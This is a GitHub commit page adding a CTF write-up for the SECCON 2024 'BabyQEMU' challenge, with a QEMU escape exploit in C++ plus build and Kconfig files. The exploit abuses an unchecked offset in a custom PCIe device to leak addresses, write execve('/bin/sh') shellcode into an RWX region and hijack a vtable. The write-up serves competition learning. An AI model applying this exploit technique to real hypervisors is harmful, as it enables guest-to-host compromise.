Skip to content

Commit 7a29d36

Browse files
authored
posts/seccon2024-babyqemu (#7)
1 parent eac0c02 commit 7a29d36

File tree

9 files changed

+568
-0
lines changed

9 files changed

+568
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
cmake_minimum_required(VERSION 3.15)
2+
project(exploit CXX)
3+
4+
set(CMAKE_CXX_STANDARD 23)
5+
set(CMAKE_CXX_STANDARD_REQUIRED TRUE)
6+
set(CMAKE_EXE_LINKER_FLAGS "-static")
7+
8+
9+
set(CMAKE_EXPORT_COMPILE_COMMANDS ON)
10+
11+
add_executable(${PROJECT_NAME} exploit.cc)
+134
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
#include <cstdint>
2+
#include <cstdio>
3+
#include <iostream>
4+
#include <string>
5+
6+
using namespace std;
7+
8+
const uint64_t MMIO_BASE = 0xfebd2000;
9+
const uint64_t MMIO_DATA = 0xfebd2000 + 8;
10+
const uint64_t MMIO_OFFSET = 0xfebd2000;
11+
12+
uint32_t read_mmio(uintptr_t addr) {
13+
std::string cmd = format("busybox devmem 0x{:x}", addr);
14+
FILE *f = popen(cmd.c_str(), "r");
15+
16+
char buf[64];
17+
fgets(buf, sizeof(buf), f);
18+
pclose(f);
19+
20+
return strtol(buf, NULL, 16);
21+
}
22+
23+
void write_mmio(uintptr_t addr, uint32_t val) {
24+
25+
std::string cmd = format("busybox devmem 0x{:x} w 0x{:x}", addr, val);
26+
FILE *f = popen(cmd.c_str(), "r");
27+
28+
pclose(f);
29+
}
30+
31+
uint32_t read_offset(intptr_t offset) {
32+
write_mmio(MMIO_OFFSET, offset & 0xffffffff);
33+
write_mmio(MMIO_OFFSET + 4, offset >> 32);
34+
return read_mmio(MMIO_DATA);
35+
}
36+
37+
uint64_t read64_offset(intptr_t offset) {
38+
uint64_t lb = read_offset(offset);
39+
uint64_t hb = read_offset(offset + 4);
40+
41+
return lb | (hb << 32);
42+
}
43+
44+
void write_offset(intptr_t offset, uint32_t val) {
45+
write_mmio(MMIO_OFFSET, offset & 0xffffffff);
46+
write_mmio(MMIO_OFFSET + 4, offset >> 32);
47+
write_mmio(MMIO_DATA, val);
48+
}
49+
void write64_offset(intptr_t offset, uint64_t val) {
50+
write_offset(offset, val & 0xffffffff);
51+
write_offset(offset + 4, val >> 32);
52+
}
53+
54+
const uint64_t BINARY_LEAK_OFFSET = 0x7b44a0;
55+
const uint64_t HEAP_OFFSET = 0x115f8f0;
56+
const uint64_t BUF_HEAP_OFFSET = 0x11615c8;
57+
const uint64_t MALLOC_GOT_OFFSET = 0x18e23f8;
58+
const uint64_t MALLOC_OFFSET = 0xad640;
59+
const uint64_t ENVIRON_OFFSET = 0x20ad58;
60+
const uint64_t BIN_SH_OFFSET = 0x1445f0;
61+
const uint64_t BULLSHIT_POINTER_OFFSET = -0x18a0;
62+
const uint64_t THREAD_STACK_OFFSET = 3134928;
63+
const uint64_t POP_RSP_OFFSET = 0x00000000005f5b3b;
64+
const uint64_t RWX_HEAP_OFFSETT = 167168;
65+
/*const uint64_t RWX_OFFSET = 0x8e0 + 0x1ed4000;*/
66+
const uint64_t RWX_OFFSET = 0x8e0;
67+
const uint64_t BSS_OFFSET = 0x19faf9c;
68+
const uint64_t SHELLCODE_OFFSET = 0x100;
69+
const unsigned char SHELLCODE[] = {
70+
72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184,
71+
46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72,
72+
137, 231, 49, 210, 49, 246, 106, 59, 88, 15, 5};
73+
74+
int main() {
75+
uint64_t binary_leak = read64_offset(0x0130);
76+
uint64_t binary_base = binary_leak - BINARY_LEAK_OFFSET;
77+
cout << "BINARY BASE: " << format("0x{:x}", binary_base) << endl;
78+
uint64_t heap_leak = read64_offset(0x0118);
79+
uint64_t heap_base = heap_leak - HEAP_OFFSET;
80+
cout << "HEAP LEAK: " << format("0x{:x}", heap_base) << endl;
81+
uint64_t buf = heap_base + BUF_HEAP_OFFSET;
82+
83+
uint64_t malloc = read64_offset(binary_base + MALLOC_GOT_OFFSET - buf);
84+
uint64_t libc_base = malloc - MALLOC_OFFSET;
85+
cout << "LIBC_BASE: " << format("0x{:x}", libc_base) << endl;
86+
87+
uint64_t environ_data = read64_offset(libc_base + ENVIRON_OFFSET - buf);
88+
cout << "STACK LEAK: " << format("0x{:x}", environ_data) << endl;
89+
90+
uint64_t thread_stack = read64_offset(heap_base + THREAD_STACK_OFFSET - buf);
91+
cout << "THREAD STACK LEAK: " << format("0x{:x}", thread_stack) << endl;
92+
93+
/*write64_offset(thread_stack - 0x1b68 - buf + 8, 0xAAAAAAAAAAAAAAAA);*/
94+
/*write_offset(thread_stack - 0x1b68 - buf,*/
95+
/* (binary_base + POP_RSP_OFFSET) & 0xffffffff);*/
96+
/*write_offset(0, 1);*/
97+
98+
uint64_t bullshit_pointer =
99+
read64_offset(thread_stack + BULLSHIT_POINTER_OFFSET - buf);
100+
cout << "BULLSHIT LEAK: " << format("0x{:x}", bullshit_pointer) << endl;
101+
uint64_t rwx_leak = read64_offset(heap_base + RWX_HEAP_OFFSETT - buf);
102+
103+
uint64_t rwx_base = rwx_leak - RWX_OFFSET;
104+
cout << "RWX AREA: " << format("0x{:x}", rwx_base) << endl;
105+
106+
for (int i = 0; i < sizeof(SHELLCODE); i += 4) {
107+
printf("sw %i/%zu\n", i, sizeof(SHELLCODE));
108+
write_offset(rwx_base + SHELLCODE_OFFSET - buf + i,
109+
*(uint32_t *)(SHELLCODE + i));
110+
}
111+
112+
const uint64_t to_write[] = {
113+
0, 0, rwx_base + SHELLCODE_OFFSET, binary_base + 0x73c7d0,
114+
/*0,*/
115+
/*0x0000000800000001,*/
116+
/*0,*/
117+
/*binary_base + 0x73a520,*/
118+
/*1,*/
119+
/*0,*/
120+
/*0,*/
121+
/*0,*/
122+
};
123+
124+
for (int i = 0; i < sizeof(to_write) / sizeof(to_write[0]); i++) {
125+
printf("bw %i/%zu\n", i, sizeof(to_write) / sizeof(to_write[0]));
126+
write64_offset(binary_base + BSS_OFFSET - buf + i * 8, to_write[i]);
127+
}
128+
puts("WRITTEN");
129+
scanf("%*c");
130+
131+
write_offset(bullshit_pointer + 80 - buf,
132+
(binary_base + BSS_OFFSET) & 0xffffffff);
133+
read_offset(0);
134+
}
+133
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
---
2+
params:
3+
authors:
4+
- name: falamous
5+
social: https://t.me/falamous
6+
links:
7+
- name: channel
8+
link: https://t.me/theinkyvoid
9+
title: "Seccon Quals 2024 - BabyQEMU"
10+
tldr: "simple qemu escape challenge"
11+
date: "2024-11-24"
12+
tags: [pwn]
13+
summary: |
14+
Given heap offset write and read in custom qemu pcie device obtain qemu escape.
15+
---
16+
17+
# BabyQEMU
18+
19+
After solving a complicated rop challenge on Seccon quals, we came across this deceptively simple challenge, where the goal was to escape qemu through a custom pcie device. I had never solved hypervisor escape challenges prior and really am not a pwn guy, but I had a friend and thought it would be fun.
20+
21+
## Quick summary
22+
23+
We are given a modified qemu version with a custom pcie device that implements memory mapped io. It basically has 2 addresses: data and offset. Writting to offset address will change the offset in the device structure. Reading or writing from data will read or write at the offset from the buffer stored in the device structure. Pretty simple right?
24+
25+
```c
26+
static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) {
27+
PCIBabyDevState *ms = opaque;
28+
struct PCIBabyDevReg *reg = ms->reg_mmio;
29+
30+
debug_printf("addr:%lx, size:%d\n", addr, size);
31+
32+
switch(addr){
33+
case MMIO_GET_DATA:
34+
debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]);
35+
return *(uint64_t*)&ms->buffer[reg->offset];
36+
}
37+
38+
return -1;
39+
}
40+
41+
static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
42+
PCIBabyDevState *ms = opaque;
43+
struct PCIBabyDevReg *reg = ms->reg_mmio;
44+
45+
debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val);
46+
47+
switch(addr){
48+
case MMIO_SET_OFFSET:
49+
reg->offset = val;
50+
break;
51+
case MMIO_SET_OFFSET+4:
52+
reg->offset |= val << 32;
53+
break;
54+
case MMIO_SET_DATA:
55+
debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]);
56+
*(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1));
57+
break;
58+
}
59+
}
60+
```
61+
62+
## Interfacing with the device
63+
64+
Whats not so simple is actually interfacing with device. At first I tried to write a kernel module (which would have been the optimal solution), I won't bore you with the detail, suffice to say I tried everything and nothing worked. Then searching the wired I found that busybox (which is installed) in qemu has a devmem module that just so happens to allow us to read and write to/from memory mapped io. So I quickly tested that it worked, wrote some helper functions that would execute `busybox devmem`, then wrote more helper functions to write to an offset. I should note that for some reason devmem only allowed me to write 32 bits worth of data, so I also had to write functions to write 64 bit integers.
65+
66+
```c++
67+
#include <cstdint>
68+
#include <cstdio>
69+
#include <iostream>
70+
#include <string>
71+
72+
using namespace std;
73+
74+
const uint64_t MMIO_BASE = 0xfebd2000;
75+
const uint64_t MMIO_DATA = 0xfebd2000 + 8;
76+
const uint64_t MMIO_OFFSET = 0xfebd2000;
77+
78+
uint32_t read_mmio(uintptr_t addr) {
79+
std::string cmd = format("busybox devmem 0x{:x}", addr);
80+
FILE *f = popen(cmd.c_str(), "r");
81+
82+
char buf[64];
83+
fgets(buf, sizeof(buf), f);
84+
pclose(f);
85+
86+
return strtol(buf, NULL, 16);
87+
}
88+
89+
void write_mmio(uintptr_t addr, uint32_t val) {
90+
91+
std::string cmd = format("busybox devmem 0x{:x} w 0x{:x}", addr, val);
92+
FILE *f = popen(cmd.c_str(), "r");
93+
94+
pclose(f);
95+
}
96+
97+
uint32_t read_offset(intptr_t offset) {
98+
write_mmio(MMIO_OFFSET, offset & 0xffffffff);
99+
write_mmio(MMIO_OFFSET + 4, offset >> 32);
100+
return read_mmio(MMIO_DATA);
101+
}
102+
103+
uint64_t read64_offset(intptr_t offset) {
104+
uint64_t lb = read_offset(offset);
105+
uint64_t hb = read_offset(offset + 4);
106+
107+
return lb | (hb << 32);
108+
}
109+
110+
void write_offset(intptr_t offset, uint32_t val) {
111+
write_mmio(MMIO_OFFSET, offset & 0xffffffff);
112+
write_mmio(MMIO_OFFSET + 4, offset >> 32);
113+
write_mmio(MMIO_DATA, val);
114+
}
115+
void write64_offset(intptr_t offset, uint64_t val) {
116+
write_offset(offset, val & 0xffffffff);
117+
write_offset(offset + 4, val >> 32);
118+
}
119+
```
120+
121+
## Leaking everything
122+
123+
The very first thing I did was telescope the heap address of the device structure, which yielded a heap and binary leak. Than by calculating the offset of got from buf I was able to leak libc base. Then from libc I was able to leak environ and thus the stack. That was the easy part. Unfortunately qemu had full relro and the stack of the mmio functions was some kind of thread stack. Also the sort of main device structure (separate from the custom part) was located in a strange region, which I was able to leak, but it had a different offset. So after a long time beating my head against a brick wall, it finally broke and I found a way to leak this strange structure pointer: I first leaked the thread stack from the heap and then the structure address from the stack. The reason I was looking for that pointer was that a function was called from a vtable without checking for the vtable region. The vtable itself was ro, but we could construct a custom vtable and point the vtable pointer to it. I also miraculously discovered an rwx region, which I also leak from the heap.
124+
125+
![vtable](vtable.png)
126+
127+
## Solving the challenge
128+
129+
Now all I had to was write shellcode to the rwx region, create a custom vtable pointing to the shellcode and overwrite the vtable in the structure. For some reason qemu kept crashing if I wrote to mmio too many times, so I had to shorten the vtable and the shellcode from reverse shell to `execve("/bin/sh", NULL, NULL)`, but the challenge was solved
130+
131+
## Conclusion
132+
133+
Overall quite a simple challenge, but it took me an unbelievably long time to solve. You can find the exploit [here](exploit.cc).
1.5 MB
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
config ESCC
2+
bool
3+
4+
config HTIF
5+
bool
6+
7+
config PARALLEL
8+
bool
9+
default y
10+
depends on ISA_BUS
11+
12+
config PL011
13+
bool
14+
15+
config SERIAL
16+
bool
17+
18+
config SERIAL_ISA
19+
bool
20+
default y
21+
depends on ISA_BUS
22+
select SERIAL
23+
24+
config SERIAL_PCI
25+
bool
26+
default y if PCI_DEVICES
27+
depends on PCI
28+
select SERIAL
29+
30+
config SERIAL_PCI_MULTI
31+
bool
32+
default y if PCI_DEVICES
33+
depends on PCI
34+
select SERIAL
35+
36+
config VIRTIO_SERIAL
37+
bool
38+
default y
39+
depends on VIRTIO
40+
41+
config STM32F2XX_USART
42+
bool
43+
44+
config STM32L4X5_USART
45+
bool
46+
47+
config CMSDK_APB_UART
48+
bool
49+
50+
config SCLPCONSOLE
51+
bool
52+
53+
config TERMINAL3270
54+
bool
55+
56+
config SH_SCI
57+
bool
58+
59+
config RENESAS_SCI
60+
bool
61+
62+
config AVR_USART
63+
bool
64+
65+
config MCHP_PFSOC_MMUART
66+
bool
67+
select SERIAL
68+
69+
config SIFIVE_UART
70+
bool
71+
72+
config GOLDFISH_TTY
73+
bool
74+
75+
config SHAKTI_UART
76+
bool
77+
78+
config BABY
79+
bool
80+
default y if PCI_DEVICES
81+
depends on PCI

0 commit comments

Comments
 (0)